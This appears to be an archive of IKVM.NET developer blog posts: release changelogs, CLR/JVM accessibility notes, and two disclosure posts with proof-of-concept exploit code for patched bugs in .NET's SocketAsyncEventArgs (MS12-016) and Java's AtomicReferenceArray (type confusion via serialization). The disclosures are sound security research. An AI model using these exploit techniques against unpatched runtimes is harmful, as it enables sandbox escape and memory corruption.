# Monday, 12 March 2012
New Development Snapshot

It's been a while since I released a development snapshot. Volker fixed several AWT issues and I've been doing mostly IKVM.Reflection work.


  • Prevent IKVMC0109 warning when a stub is encountered after the corresponding type has already been loaded.
  • Bug fix. The $Method inner class for delegates should also be loadable for generic delegates. Thanks to Michael Bayne for reporting this.
  • Add dummy splashscreen native library to VFS. Fix for #3480917.
  • Fix a bug with a ToolkitImage as frame icon.
  • Fix the native file dialog, it was created in the wrong thread and the method blockWindows(List) was not implemented
  • Synchronized the BufferedImage bitmap to fix "System.InvalidOperationException: The object is currently in use elsewhere." if the BufferedImage is used from multiple threads (as is valid in Java).
  • Workaround a problem in sun.util.locale.LocaleObjectCache that assumes that a SoftReference is always immediately enqueued when get() returns null. Now we actively enqueue the reference in get() when the reference was cleared by the GC (instead of waiting for the QueueWatcher to eventually enqueue the reference from the finalizer).
  • Merged security changes to AtomicReferenceArray.
  • Intrinsified the unsafe.objectFieldOffset(XXX.class.getDeclaredField("xxx")) pattern to avoid expensive reflection field lookup in static initializers of common OpenJDK classes.
  • Override Toolkit.areExtraMouseButtonsEnabled() to avoid infinite recursion.
  • Fix a deadlock for TooltipImages which complete with a ImageObserver.FRAMEBITS instead with ImageObserver.ALLBITS. The problem occur with JDownloader.
  • Replace all RasterOp with the versions from GNU Classpath because the original use native code that was not ported and didn't work.
  • Fixed a NullReferenceException in ConvertRegion.
  • Added support for window with transparent background.
  • Added support for undecorated Frame and Dialog.
  • Fixed IPv6 address bug. When the scope ID is zero we should pass -1 to the Inet6Address constructor (this will cause its scope_id to remain 0 and scope_id_set to remain false).
  • Added Unsafe methods used by Akka.
  • Avoid linking class constant pool entries that aren't used (or are only used by name). This avoids spurious IKVMC0100 warnings and unnecessary class load attempts.
  • IKVM.Reflection: Performance tweak to AssemblyName.FullName. Inspired by Marek Safar.
  • IKVM.Reflection: TypeNameParser.Escape() performance tweak by Marek Safar.
  • IKVM.Reflection: Added UniverseOptions.DisableFusion to explicitly disable Fusion (without having to resort to setting the IKVM_DISABLE_FUSION environment variable).
  • IKVM.Reflection: Optimized assembly lookup. Thanks to Marek Safar for the pointer.
  • IKVM.Reflection: Cache the assembly FullName in Assembly. This brings the Assembly.FullName property performance more inline with System.Reflection which also caches the FullName (computing the FullName is expensive).
  • IKVM.Reflection: Use binary search for sorted metadata table lookups.
  • IKVM.Reflection: Added new API MethodInfo.__GetMethodImpls() to efficiently get the MethodImpls for a specific method.
  • IKVM.Reflection: Bug fix. TypeDefImpl.__GetMethodImplMap() should populate typeArgs before using it.
  • IKVM.Reflection: Added RawModule.ModuleVersionId property.
  • IKVM.Reflection: Support building an "mscorlib" assembly that is not named mscorlib.
  • IKVM.Reflection: Added Type.__CreateMissingProperty() API to enable symbolic properties in custom attributes.
  • IKVM.Reflection: Added Universe.MissingTypeIsValueType event to enable missing types (i.e. symbolic types) to be used in signatures.

Binaries available here: ikvmbin-7.1.4454.zip

Monday, 12 March 2012 10:50:41 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 08 March 2012
CLR Supported Custom Attributes

After working with the CLR for more than a decade, once in a while I still run into surprising behavior.

It turns out that the (non pseudo-) custom attributes that CLR recognizes are only matched by name, not assembly.

So you can do this for example:

using System;
using System.Threading;

namespace System {
  class ThreadStaticAttribute : global::System.Attribute { }

class Program {
  static int foo;

  public static void Main() {
    foo = 42;
    new Thread(WriteFoo).Start();

  static void WriteFoo() {

On the CLR the foo static variable is a thread local, but on Mono it isn't.

Thursday, 08 March 2012 14:35:51 (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Sunday, 04 March 2012

I'm looking forward to speaking at Lang.NEXT. To be held at the Microsoft Campus on April 2 - 4.

If you're in the neighborhood and are interested in programming language design and implementation, this is your opportunity to find out if there really is such a thing as a free lunch.

Sunday, 04 March 2012 11:15:02 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 27 February 2012
MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
  public MySocketAsyncEventArgs Clone()
    return (MySocketAsyncEventArgs)MemberwiseClone();

class Program
  static void Main()

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    buf1 = null;


    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2[1000000000]); // AccessViolation

Monday, 27 February 2012 08:58:32 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 23 February 2012
February 2012 Java Critical Patch Update Vulnerability Details

Last week, Oracle released the February 2012 Oracle Java SE Critical Patch Update. This included fixes for two related problems I reported to them on August 1, 2011. The first problem is also what inspired the post about disabling the security manager.

This is another one of those security vulnerabilities that I stumbled into without looking for it. When I was integrating OpenJDK 7, I merged some minor changes into AtomicReferenceArray and after that a couple of JSR-166 TCK tests failed. After a little investigation I found that the problematic code was:

public AtomicReferenceArray(E[] array) {
    // Visibility guaranteed by final field guarantees
    this.array = array.clone();

One of the tests constructs the AtomicReferenceArray by passing in an java.lang.Integer array and a subsequent store in the array would fail on IKVM.NET, because the IKVM.NET implementation of AtomicReferenceArray.set() uses the ldelema instruction to get the address of the array element so it can subsequently do a volatile store to that location. When you use the ldelema instruction the CLR will do a type check to make sure the array can safely hold values of that type and this type check failed, because the code assumed that the array is always an object array, but in this case it was a java.lang.Integer array.

At first I simply fixed this by changing the constructor back to what it previously did (always allocate a new Object array), but after some reflection I realized that this might be a security issue.

To see why this could be a security issue, you need to know that HotSpot (Server) is capable of doing some pretty amazing optimizations. What I conjectured was that HotSpot might be able to inline the constructor and subsequent get operation and then optimize away a cast operation that follows the get operation. Here's an example:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
Integer value = (Integer)ara.get(0);

HotSpot Server is able to deduce is this case that the (Integer) cast is redundant. However, what it fails to take into account is that AtomicReferenceArray uses sun.misc.Unsafe to directly access the array and this means that even though the array here is of type Integer, the AtomicReferenceArray.set() method allows you to store any reference in the array. So a slightly modified version will violate type safety:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);

Now value contains a string while being typed as Integer.

Here's a full working example (it's little bit more convoluted, because you need to coax HotSpot into fully optimizing the code):

import java.util.concurrent.atomic.*;

public class vuln
  int field1;
  static volatile Object obj = new vuln();
  static volatile boolean done;

  public static void main(String[] args) throws Exception
    new Thread() {
      public void run() {
        try { Thread.sleep(3000); } catch (Exception _) { }
        obj = "foo";
        try { Thread.sleep(30); } catch (Exception _) { }
        done = true;
    for (;;) {

  static void doIt()
    AtomicReferenceArray r = new AtomicReferenceArray(new vuln[1]);
    r.set(0, obj);

  static void frob(vuln v) {
    if (done) {
      v.field1 += 8;

This vulnerability was interesting to me because it required some pretty advanced HotSpot optimizations, but this also made it less of a real-world issue, because I was unable to get HotSpot Client VM to do these optimizations, so a browser running Java was not likely to be vulnerable. However, while I was preparing to report this to Oracle it occurred to me that there was a much bigger security vulnerability that had been lingering in AtomicReferenceArray since it was first introduced in Java 5. By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.

Here's an example of that:

import java.io.*;
import java.util.concurrent.atomic.*;

class Union1 { }
class Union2 { }

public class test
  static byte[] buf = new byte[] {
    -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
    46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
    0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
    -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
    114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
    114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
    105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
    -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
    0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
    99, 116, 59, 120, 112, 113, 0, 126, 0, 3

  public static void main(String[] args) throws Throwable
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
    Object[] arr = (Object[])ois.readObject();
    Union1[] u1 = (Union1[])arr[0];
    AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
    ara.set(0, new Union2());
Thursday, 23 February 2012 13:45:55 (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Tuesday, 24 January 2012
New Development Snapshot

Time for a new snapshot. Not too many changes, but the IKVM.Reflection API changes should suggest what I've been working on.


  • Updated version to 7.1.4406.0.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Made base TypeWrapper resolution lazy for compiled and .NET TypeWrappers.
  • Use modopt custom modifiers for methods instead of name mangling and NameSigAttribute.
  • Added version info resource to JVM.DLL. Modified version of patch #3472413.
  • Added version info resource to ikvm-native-win32-{arch}.dll. Modified version of patch #3472413.
  • Added support for delegates with ByRef parameters.
  • When a dynamic only interface method ends up being "implemented" by a static or non-public method, it should throw the appropriate exception.
  • When instantiating a delegate and the object passed in does not properly implement the delegate's Method interface, bind the delegate to an error stub that throws the appropriate error.
  • The right remap filename should be put in the SourceFileAttribute, instead of the last one.
  • Stack trace elements in methods in remapped .NET types should not list the source filename as map.xml.
  • IKVM.Reflection: FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.
  • IKVM.Reflection: Added Module.__FileAlignment property.
  • IKVM.Reflection: Added ManifestResourceInfo.__Offset property.
  • IKVM.Reflection: Avoid the need for (expensive) ResolveMethod call when emitting debug symbols. Thanks to Miguel Garcia for pointing this out.
  • IKVM.Reflection: Add AssemblyName.__Hash property (to expose the hash in an AssemblyRef).
  • IKVM.Reflection: Added Module.__EntryPointRVA and Module.__EntryPointToken properties.
  • IKVM.Reflection: Added MethodBase.__MethodRVA property.
  • IKVM.Reflection: Fixed regression introduced with AssemblyName rewrite. The AssemblyName returned from __GetReferencedAssemblies() should include an empty public key token if the referenced assembly is not strong named.
  • IKVM.Reflection: API change. Allow Type.MetadataToken to be called on missing type (it will return 0 or the token hint when the type was forwarded).
  • IKVM.Reflection: Added Universe.ResolveType() API that can be used to construct missing types.
  • IKVM.Reflection: Fixed various Module.Resolve* methods to throw proper exception when wrong metadata token is supplied.
  • IKVM.Reflection: Fixed type parameter binding for missing types.
  • IKVM.Reflection: Added Module.__EnumerateCustomAttributeTable() API.
  • IKVM.Reflection: Removed Module.__GetDeclarativeSecurityFor() API.
  • IKVM.Reflection: Added CustomAttributeData.__Parent API.
  • IKVM.Reflection: Added Module.__ImageRuntimeVersion API.

Binaries available here: ikvmbin-7.1.4406.zip

Tuesday, 24 January 2012 13:48:53 (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Tuesday, 03 January 2012
IKVM.NET 7.0 Update 1 Release Candidate 0

A couple of annoying bugs have been reported since 7.0 was released, so I decided to do an update.


  • Changed version to 7.0.4335.1.
  • FileStore for non-accessible drive should throw exception when trying to create the FileStore, not when accessing the name() or type() properties.
  • Graphics2D.clip(null) should only throw NPE for a Component graphics.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Informational messages should not be treated as error when -warnaserror is specified. Fix for #3443377.
  • Don't enforce pre-1.5 class name rules in ikvmc (since HotSpot doesn't enforce any naming rules for classes loaded by the system (and boot) class loader, by default). Fix for #3443373.
  • Fix for #3441959.
  • Throwable.addSuppressed() didn't have a proper parameter name.
  • Mark getSpace0 with SecuritySafeCritical to avoid getting an exception with .NET 4
  • Bug fix. Removed incorrect check for uninitialized objects on backward branch.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Added AssemblyInformationalVersionAttribute to OpenJDK assemblies (to set the "Product Version"). Part of patch #3458997.
  • Include copyright and metadata in IKVM.OpenJDK.Tools.dll. Part of patch #3458997.
  • Bug fix. Don't call Finish on unloadable TypeWrapper.
  • Bug fix. When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Suppress annotation custom attributes when enumerating inner classes.
  • IKVM.Reflection: Bug fix. FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.

Binaries available here: ikvmbin-7.0.4335.1.zip

Sources: ikvmsrc-7.0.4335.1.zip, openjdk7-b147-stripped.zip

Tuesday, 03 January 2012 13:24:44 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Wednesday, 21 December 2011
IKVM.NET 0.46 Update 1 Release Candidate 0

IKVM.NET 0.46 is the last OpenJDK 6 based release, so it will be supported longer than usual. I haven't yet decided how long exactly, but in any case here is a release candidate for an update release that incorporates many of the fixes that have been done since 0.46 was released.


  • Changed version to
  • Bug fix. TypeWrapper.IsAssignableTo() didn't handle arrays with primitive elements properly.
  • Bug fix. Exception blocks inside potential try { } finally { } blocks were not handled correctly. Could result in finally blocks that run multiple times (when an exception occurs).
  • Fix for #3404229.
  • Bug fix. Don't create a miranda method if the class already has a static method with the same signature.
  • Added workaround for another x64 JIT bug. See https://sourceforge.net/mailarchive/message.php?msg_id=28250469
  • Newer versions of ICSharpCode.SharpZipLib.dll require the ZipEntry size to be set explicitly, otherwise the generated archive will not be compatible with older zip implementations (like Java 6's java.util.zip).
  • Fixed serialization interop bugs.
  • Bug fix. When an abstract .NET type implements System.IComparable (and hence java.lang.Comparable) the resulting stub is not usable from Java because the compareTo method is missing. This fix adds the missing method.
  • Fix and enhancement. When a .NET type implements a shadowed interface, we now also publish the original interface (e.g. if the .NET type implements System.IComparable, Java code will now see java.lang.Comparable and System.IComparable). In addition, the new code makes sure that when a .NET type explicitly implements both System.IComparable and java.lang.Comparable that the Java code will not see java.lang.Comparable twice.
  • Bug fix. Make FileOutputStream in append mode always append.
  • Add support for overriding constructor body in map.xml.
  • Make sure that Thread.getContextClassLoader() and Thread.setContextClassLoader() are JITed before Thread.isCCLOverridden().
  • Workaround .NET 2.0 bug in GetType() that could cause problems with creating proxies for compiled types.
  • Bug fix. Exceptions declared with ThrowsAttribute(Type) (in .NET code) did not get exported properly by ikvmstub.
  • Fix ClassLoader.findLoadedClass0() to handle null string.
  • Implemented support for annotation defaults in ikvmstub.
  • Bug fix. Final instance fields that have a type 2 access property should also have a (private) setter for reflection and serialization.
  • Bug fix. Set os.name and os.version properties correctly when running on unknown Windows version (Windows 8).
  • Bug fix. IPInterfaceProperties.GetIPv_Properties() can throw an exception (and does so on Win 8 for some interfaces).
  • Don't open the remap file in read/write mode.
  • Bug fix. Make sure sun.misc.Launcher is initialized before setting a security manager, because Launcher assumes there is no security manager yet.
  • Implemented com.sun.security.auth.module.NTSystem.getCurrent().
  • Bug fix. When calling a final method on a remapped type we can't call the instance method in the remapped type, but we have to call the instancehelper instead.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Bug fix. Removed incorrect verifier check for uninitialized objects on backward branch.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • Don't use "slow path" for field reflection on remapped types (as getting a Throwable field from cli.System.Exception will cause an exception, but the slow path will generate a different exception).
  • Backported the new method override resolution code.

Binaries available here: ikvmbin-

Sources: ikvmsrc-, openjdk6-b22-stripped.zip

Wednesday, 21 December 2011 09:54:46 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 19 December 2011
Accessibility, Visibility and Transparency

There are a couple of subtle differences between the JVM and CLR with respect to member accessibility. For example, the JVM will allow you to access public members in non-public base classes:

package p1;

class Base {
    public int foo;

public class Derived extends Base {

package p2;

class Test {
    public static void main(String[] args) {
       p1.Derived d = new p1.Derived();
       d.foo = 42;

If you compile p1 and p2 seperately with ikvmc and look inside the resulting assemblies, you'll see that ikvmc generated a foo property in Derived. It needs to do this, because the CLR won't allow code from another assembly to access the members of Base.

In the IKVM source code this type of access stubs is known as type 1. As you'd expect there are also type 2 access stubs. These are generated when a public (or protected) member exposes a non-public type:

package p1;

class Foo { }

public class Bar {
  public Foo field = new Foo();

package p2;

class Test {
    public static void main(String[] args) {
       p1.Bar b = new p1.Bar();
       b.field = null;

Once again, if you compile p1 and p2 into separate assemblies with ikvmc, you'll see that field will be accessed through a property. In this case the property type is erased to the first public base type and a custom modifier is attached to make sure the property signature is unique (and to be able to recover the real type).

These type 2 access stubs were originally generated (in some cases) by ikvmc to support accessing these members from C#, because the CLR, like the JVM, doesn't care about the visibility of the types in a signature when it considers member accessibility.

However, since .NET 4.0 there is a new factor to consider, when level 2 transparent code  tries to access a member, the types in the member signature (except for the custom modifiers) must all be visible to the caller.

I have not seen this last fact documented anywhere yet.

Monday, 19 December 2011 11:57:13 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Friday, 16 December 2011
New Development Snapshot

I've been doing some cleanup and refactoring and in the process removed some limitations and fixed a bunch of corner cases.


  • Updated version to 7.1.4366.0.
  • Fixed Class.getDeclaredClasses() to throw correct exception when one on the inner classes cannot be loaded.
  • Removed class name length limitation.
  • Split ikvmc compilation into three passes to support classes that extend a class nested inside itself.
  • Include copyright and metadata in IKVM.OpenJDK.Tools.dll. Part of patch #3458997.
  • Added AssemblyInformationalVersionAttribute to OpenJDK assemblies (to set the "Product Version"). Part of patch #3458997.
  • When casting arguments we should use the actual method parameter types, instead of the call site types (which can differ in the case of unloadable types (with crazy class loader trickery)).
  • Unloadable types can't violate loader constraints.
  • Made override stub generation more consistent.
  • Generate override stub for miranda method, when necessary.
  • Fixed ikvcm to not crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Fixed unloadable corner case (that can only be generated by playing weird class loader tricks).
  • Verifier bug fix. Removed incorrect check for uninitialized objects on backward branch.
  • IKVM.Reflection: Support setting an invalid culture using AssemblyBuilder.__SetAssemblyCulture().
  • IKVM.Reflection: AssemblyCultureAttribute should not influence the LCID of the version info resource.
  • IKVM.Reflection: Removed static Create() from __StandAloneMethodSig and added Universe.MakeStandAloneMethodSig().

Binaries available here: ikvmbin-7.1.4366.zip

Friday, 16 December 2011 10:07:11 (W. Europe Standard Time, UTC+01:00)  #    Comments [1]